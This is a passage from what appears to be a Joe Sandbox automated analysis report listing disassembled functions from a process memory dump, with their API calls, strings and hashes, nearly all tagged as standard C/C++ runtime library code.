Function 00CDA3F8 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 00CDA517
___TypeMatch.LIBVCRUNTIME ref: 00CDA625
_UnwindNestedFrames.LIBCMT ref: 00CDA777
CallUnexpected.LIBVCRUNTIME ref: 00CDA792

Strings

csm, xrefs: 00CDA435
csm, xrefs: 00CDA4A2
csm, xrefs: 00CDA54E

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 98ba43f3e942f89413b951ec63b6002ae7898ce0a7dcf86b385a0e5b6d2c2b8b
Instruction ID: 9baafc87f60091e7175b37276bd33e51426005bfe52c5cd3da89c265158305ed
Opcode Fuzzy Hash: 98ba43f3e942f89413b951ec63b6002ae7898ce0a7dcf86b385a0e5b6d2c2b8b
Instruction Fuzzy Hash: 71B17D71800209EFCF29DFA4C8819AEBBB5FF14310B15415BFA256B312D735EA51DB92

Function 00CE45E3 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 298
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

, xrefs: 00CE485C

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: ea746a4d597f09be4de3bbb09730987c888fed92ed5ad6a699259d4dc0d0ec4e
Instruction ID: 853d68f33739ba14cc6490432ee44db27832fc32430d9bcc34507fb2d7709a14
Opcode Fuzzy Hash: ea746a4d597f09be4de3bbb09730987c888fed92ed5ad6a699259d4dc0d0ec4e
Instruction Fuzzy Hash: 2EB1F270E003C9AFDB19DF9AC880BAE7BF5AF45314F144159E910AB392C7709E42DB61

Function 00D17942 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getArgumentList.LIBCMT ref: 00D17967

Part of subcall function 00D17502: Replicator::operator[].LIBCMT ref: 00D17585
Part of subcall function 00D17502: DName::operator+=.LIBCMT ref: 00D1758D

DName::operator+.LIBCMT ref: 00D179C0
DName::DName.LIBCMT ref: 00D17A18

Strings

8;C, xrefs: 00D179B3
(;C, xrefs: 00D17A02
4;C, xrefs: 00D179FB
D;C, xrefs: 00D179AC

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: ArgumentDecorator::getListNameName::Name::operator+Name::operator+=Replicator::operator[]
String ID: (;C$4;C$8;C$D;C
API String ID: 834187326-2621726175
Opcode ID: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction ID: 3285180ab33b4d8aa8b45e1e30500cb6d8a052f1a89b344c563ac928a138b966
Opcode Fuzzy Hash: a0090458237679d067ced1afd8bb8c1e263f460860677f0579ee007d7b594e8e
Instruction Fuzzy Hash: BC217130605248BFCB11DF5CE8449E97BB4EF0534AB488059E845DB376EF34EA86CB64

Function 00CD6A8C Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,?,?), ref: 00CD6AD5
__alloca_probe_16.LIBCMT ref: 00CD6B01
MultiByteToWideChar.KERNEL32(?,?,00000000,?,00000000,00000000), ref: 00CD6B40
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CD6B5D
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00CD6B9C
__alloca_probe_16.LIBCMT ref: 00CD6BB9
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CD6BFB
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00CD6C1E

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 4c15ceeb28fe41e39f9a964498193b87b17afe3eac7834585cc36d8d27ad02d6
Instruction ID: d6e477471350b7dafe2e56a7d0066ca285dee3f50cab3520fc539d7ad92b8da1
Opcode Fuzzy Hash: 4c15ceeb28fe41e39f9a964498193b87b17afe3eac7834585cc36d8d27ad02d6
Instruction Fuzzy Hash: 7C51B17251020ABFEB209FA4CC84FAF7BA9EB84754F104427FA14EA250D7759D10EB60

Function 00CE1BBB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00CE1CC8,?,?,00000000,00000000,?,?,00CE1E76,00000021,FlsSetValue,00CF13A8,00CF13B0,00000000), ref: 00CE1C7C

Strings

ext-ms-, xrefs: 00CE1C26
api-ms-, xrefs: 00CE1C12

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 4f646e519340bece7e30d1d49eed0ef1407fb427e0492c180f7f9123327a1760
Instruction ID: 30cf1004399ff26e89ada7c93666bb9bad0ef58d12aa72dfa8d7e30c76d202df
Opcode Fuzzy Hash: 4f646e519340bece7e30d1d49eed0ef1407fb427e0492c180f7f9123327a1760
Instruction Fuzzy Hash: 21210D71A413D1ABC7229B67EC81B5E7B68DB417A0F3C0210ED25E7290D771EE10C6E1

Function 00CD5360 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CD5367
std::_Lockit::_Lockit.LIBCPMT ref: 00CD5371
int.LIBCPMT ref: 00CD5388

Part of subcall function 00CD16AA: std::_Lockit::_Lockit.LIBCPMT ref: 00CD16BB
Part of subcall function 00CD16AA: std::_Lockit::~_Lockit.LIBCPMT ref: 00CD16D5

codecvt.LIBCPMT ref: 00CD53AB
std::_Facet_Register.LIBCPMT ref: 00CD53C2
std::_Lockit::~_Lockit.LIBCPMT ref: 00CD53E2
Concurrency::cancel_current_task.LIBCPMT ref: 00CD53EF

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 72166dfd9642a82828672797b14e2d33ca440f2c03cb6da5b0c8d5207d777198
Instruction ID: 1a23d69c092beb35137c4db11a47a77834af9dc5edc0698bda890c8e5355dc7c
Opcode Fuzzy Hash: 72166dfd9642a82828672797b14e2d33ca440f2c03cb6da5b0c8d5207d777198
Instruction Fuzzy Hash: C411E175910614AFCB00EB64D8817AEB7B4AF44360F24410BFA02A7391EBB4AE01DB91

Function 00D192DB Relevance: 10.6, APIs: 7, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::UScore.LIBCMT ref: 00D192E5
DName::DName.LIBCMT ref: 00D192F1

Part of subcall function 00D16FBC: DName::doPchar.LIBCMT ref: 00D16FED

UnDecorator::getScopedName.LIBCMT ref: 00D19330
DName::operator+=.LIBCMT ref: 00D1933A
DName::operator+=.LIBCMT ref: 00D19349
DName::operator+=.LIBCMT ref: 00D19355
DName::operator+=.LIBCMT ref: 00D19362

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Name::operator+=$Name$Decorator::Decorator::getName::Name::doPcharScopedScore
String ID:
API String ID: 1480779885-0
Opcode ID: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction ID: 0362b25d36ea7e1bc4e2b18a98409833fdc988f44170aa6cd6eb19565a599402
Opcode Fuzzy Hash: 23bb66ba7c0c68d0bfc5bce08223bbb55780766e01e2ba2a51e198509357868b
Instruction Fuzzy Hash: C3117371904208BFD715EB68E865AEDBB70EF15311F084099E4169B2E2DF70EAC5C771

Function 00CD3C37 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CD3C3E
std::_Lockit::_Lockit.LIBCPMT ref: 00CD3C48
int.LIBCPMT ref: 00CD3C5F

Part of subcall function 00CD16AA: std::_Lockit::_Lockit.LIBCPMT ref: 00CD16BB
Part of subcall function 00CD16AA: std::_Lockit::~_Lockit.LIBCPMT ref: 00CD16D5

codecvt.LIBCPMT ref: 00CD3C82
std::_Facet_Register.LIBCPMT ref: 00CD3C99
std::_Lockit::~_Lockit.LIBCPMT ref: 00CD3CB9
Concurrency::cancel_current_task.LIBCPMT ref: 00CD3CC6

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 37dc7f3842db07cced2d0e513916ad50ad8a4d5f3fd826dca6aad050946e84ae
Instruction ID: 17f2d5667f8e2d7270457cb10668de52ce4080adaa4e8285f2bb6e2f1fb57e5c
Opcode Fuzzy Hash: 37dc7f3842db07cced2d0e513916ad50ad8a4d5f3fd826dca6aad050946e84ae
Instruction Fuzzy Hash: 4C0126B1900255DBCB00EB60C8516BEB7B1AF84310F18020BFA11A7391DF709F01D792

Function 00D1B2FB Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00D1B4EB

Part of subcall function 00D172BC: DName::doPchar.LIBCMT ref: 00D172E5

DName::DName.LIBCMT ref: 00D1B57B
DName::operator+.LIBCMT ref: 00D1B582
DName::DName.LIBCMT ref: 00D1B5A5
DName::operator+.LIBCMT ref: 00D1B5AC
DName::operator+=.LIBCMT ref: 00D1B5B8
DName::operator=.LIBCMT ref: 00D1B5DF
DName::operator+=.LIBCMT ref: 00D1B5F1
DName::operator=.LIBCMT ref: 00D1B605
UnDecorator::getPtrRefType.LIBCMT ref: 00D1B61A
operator+.LIBCMT ref: 00D1B62C

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction ID: 510b23df8cc2c02eb2fbb43a83c4e8064403a5ad6189ad9b17c3e6e02d8f4c6c
Opcode Fuzzy Hash: c5ff01363cc5be2414fde705ddc2477139869efe325205967f2b79d65d07f3e5
Instruction Fuzzy Hash: 07216F76A0410ABADF14EFACE9459FDBB769B04322F18526BE211D6551DF34CE818A30

Function 00D1B319 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00D1B4EB

Part of subcall function 00D172BC: DName::doPchar.LIBCMT ref: 00D172E5

DName::DName.LIBCMT ref: 00D1B57B
DName::operator+.LIBCMT ref: 00D1B582
DName::DName.LIBCMT ref: 00D1B5A5
DName::operator+.LIBCMT ref: 00D1B5AC
DName::operator+=.LIBCMT ref: 00D1B5B8
DName::operator=.LIBCMT ref: 00D1B5DF
DName::operator+=.LIBCMT ref: 00D1B5F1
DName::operator=.LIBCMT ref: 00D1B605
UnDecorator::getPtrRefType.LIBCMT ref: 00D1B61A
operator+.LIBCMT ref: 00D1B62C

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction ID: 055b62d2d533f95c78706150631f5b0a7f880f0d0de6704d7cddf692766123ee
Opcode Fuzzy Hash: 04bf772949b8752548d84cbfff0da56238cecf44966dde39219307ebaddb036f
Instruction Fuzzy Hash: 4D218176A0410ABADF18EFBCE9459FD7B769F04322F18526BE211D7551DF34CA808A30

Function 00D1B305 Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00D1B4EB

Part of subcall function 00D172BC: DName::doPchar.LIBCMT ref: 00D172E5

DName::DName.LIBCMT ref: 00D1B57B
DName::operator+.LIBCMT ref: 00D1B582
DName::DName.LIBCMT ref: 00D1B5A5
DName::operator+.LIBCMT ref: 00D1B5AC
DName::operator+=.LIBCMT ref: 00D1B5B8
DName::operator=.LIBCMT ref: 00D1B5DF
DName::operator+=.LIBCMT ref: 00D1B5F1
DName::operator=.LIBCMT ref: 00D1B605
UnDecorator::getPtrRefType.LIBCMT ref: 00D1B61A
operator+.LIBCMT ref: 00D1B62C

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction ID: dc34b89c02753d96f9d66dc31f51885c7f1022dacc85eeb6dee7cc55bdaa4f79
Opcode Fuzzy Hash: 41adee5c73aa1e88243f3158e2c40ed16f52e1afc6b9bf2c17e63ec85b627ffa
Instruction Fuzzy Hash: 87218176A0410ABADF18EFBCE9459FD7B769F04322F18526BE611D7551DF34CA808A30

Function 00D1B30F Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

DName::operator=.LIBCMT ref: 00D1B4EB

Part of subcall function 00D172BC: DName::doPchar.LIBCMT ref: 00D172E5

DName::DName.LIBCMT ref: 00D1B57B
DName::operator+.LIBCMT ref: 00D1B582
DName::DName.LIBCMT ref: 00D1B5A5
DName::operator+.LIBCMT ref: 00D1B5AC
DName::operator+=.LIBCMT ref: 00D1B5B8
DName::operator=.LIBCMT ref: 00D1B5DF
DName::operator+=.LIBCMT ref: 00D1B5F1
DName::operator=.LIBCMT ref: 00D1B605
UnDecorator::getPtrRefType.LIBCMT ref: 00D1B61A
operator+.LIBCMT ref: 00D1B62C

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: Name::operator=$NameName::Name::operator+Name::operator+=$Decorator::getName::doPcharTypeoperator+
String ID:
API String ID: 4267394785-0
Opcode ID: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction ID: f5807e6fdb6e4e38722d1108eaf85b8aabc799e02d8bb28334754a0bc0ab10ec
Opcode Fuzzy Hash: fd9685c0f8e99762da6b47b8c6f7231e6a09b9523451af01b9522ecad555d412
Instruction Fuzzy Hash: 05218176A0410ABADF18EFBCE9459FD7B769F04322F18526BE211D7551DF34CA808A30

Function 00CDA08A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00CDA081,00CD829B,00CD7952), ref: 00CDA098
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00CDA0A6
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CDA0BF
SetLastError.KERNEL32(00000000,00CDA081,00CD829B,00CD7952), ref: 00CDA111

Memory Dump Source

Source File: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 07e1d2c600946e643f3fabd46881d51ce0ca76c2cf91a6506ce7b116f4eb3020
Instruction ID: 821d631f30a386a61343b82e7dfeee37e297a10b9a46dc7aec57c689fe653358
Opcode Fuzzy Hash: 07e1d2c600946e643f3fabd46881d51ce0ca76c2cf91a6506ce7b116f4eb3020
Instruction Fuzzy Hash: A301FC335087129DEA1427757C8672E2B45EB01B70720032BF720C63E1EF516D44B14B

Function 00D1FFAB Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00D1FF02

Part of subcall function 00D15D30: __mtinitlocknum.LIBCMT ref: 00D15D46
Part of subcall function 00D15D30: __amsg_exit.LIBCMT ref: 00D15D52

_free.LIBCMT ref: 00D1FF29
__lock.LIBCMT ref: 00D1FF42
___removelocaleref.LIBCMT ref: 00D1FF51
___freetlocinfo.LIBCMT ref: 00D1FF6A
_free.LIBCMT ref: 00D1FF87

Memory Dump Source

Source File: 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, Offset: 00CD0000, based on PE: true

Associated: 00000009.00000002.1474970147.0000000000CD0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475022723.0000000000CD1000.00000020.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475062531.0000000000CEE000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475200686.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475229665.0000000000D5A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.1475270367.0000000000D5B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cd0000_HJCfr5V5_QVbJA3PPM7OVXSs.jbxd

Yara matches

Similarity

API ID: __lock_free$___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 1181530324-0
Opcode ID: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction ID: 01d4765db33f28ba2c8d0701d02ad96f21ab9470e814a0332845556bcf821b4a
Opcode Fuzzy Hash: 14eb0c7fe894d5b8d852f0898a8411548b399900cf7780233aa77db08523b3c3
Instruction Fuzzy Hash: 73119E71605600FADB20AF74B4097DDB3A4EF45720F284629F488971D9DFB8D8C68A35

Function 00CDEE6E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,CF069A66,?,?,00000000,00CED536,000000FF,?,00CDEDFE,?,?,00CDEDD2,00000016), ref: 00CDEEA3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00CDEEB5
FreeLibrary.KERNEL32(00000000,?,00000000,00CED536,000000FF,?,00CDEDFE,?,?,00CDEDD2,00000016), ref: 00CDEED7

Strings

mscoree.dll, xrefs: 00CDEE9C
CorExitProcess, xrefs: 00CDEEAD

Memory Dump Source

